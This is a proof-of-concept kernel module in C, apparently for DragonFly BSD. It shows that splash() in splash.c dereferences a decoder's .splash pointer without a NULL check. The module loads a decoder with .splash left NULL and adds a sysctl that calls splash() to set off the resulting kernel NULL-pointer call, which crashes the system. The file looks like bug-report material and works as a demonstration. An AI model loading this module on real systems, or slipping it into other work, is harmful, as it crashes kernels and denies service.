DF-5777 / nullsplash.c
/* * DF-5777 PoC: splash() calls splash_decoder->splash without a NULL guard. * * sys/dev/video/fb/splash.c:201-206 * * int * splash(video_adapter_t *adp, int on) * { * if (splash_decoder != NULL) * return (*splash_decoder->splash)(adp, on); * return ENODEV; * } * * `init` (splash.c:83 `if (*decoder->init && ...)`) and `term` * (splash.c:193 `if (error == 0 && splash_decoder->term)`) are both * NULL-guarded; `->splash` is not. Every in-tree registrant (bmp, pcx and * the 10 syscons savers) fills .splash, so the gap is reachable via a * root-loaded decoder module that leaves it NULL -- this module. * * .data_type is NULL so splash_find_data() returns 0 (splash.c:59-60) and * .init returns 0 so splash_test() succeeds; after kldload the module's * decoder becomes the active splash_decoder (splash_new, splash.c:94-99). * * The sysctl trigger then performs exactly the call the in-tree caller * scsplash_saver() makes (syscons.c:2560): splash(sc->adp, TRUE) -- * using the real video_adapter_t captured during decoder init. */ #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/sysctl.h> #include <sys/fbio.h> #include <dev/video/fb/fbreg.h> #include <dev/video/fb/splashreg.h> static video_adapter_t *real_adp; static int nullsplash_init(struct video_adapter *adp) { real_adp = adp; kprintf("nullsplash: decoder init, adp=%p (.splash left NULL)\n", adp); return (0); } static int nullsplash_term(struct video_adapter *adp) { return (0); } /* .splash deliberately NULL */ static splash_decoder_t nullsplash_decoder = { "nullsplash", nullsplash_init, nullsplash_term, NULL, NULL, }; static int sysctl_nullsplash_fire(SYSCTL_HANDLER_ARGS) { int fire = 0, error; error = sysctl_handle_int(oidp, &fire, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (fire) { kprintf("nullsplash: calling splash(adp=%p, TRUE); " "->splash == NULL and splash.c:205 has no guard\n", real_adp); /* mirrors scsplash_saver() at syscons.c:2560 */ splash(real_adp, TRUE); kprintf("nullsplash: returned -- guard present?\n"); } return (0); } SYSCTL_PROC(_hw, OID_AUTO, nullsplash_fire, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_nullsplash_fire, "I", "call splash() while active decoder has .splash == NULL"); SPLASH_DECODER(nullsplash, nullsplash_decoder); |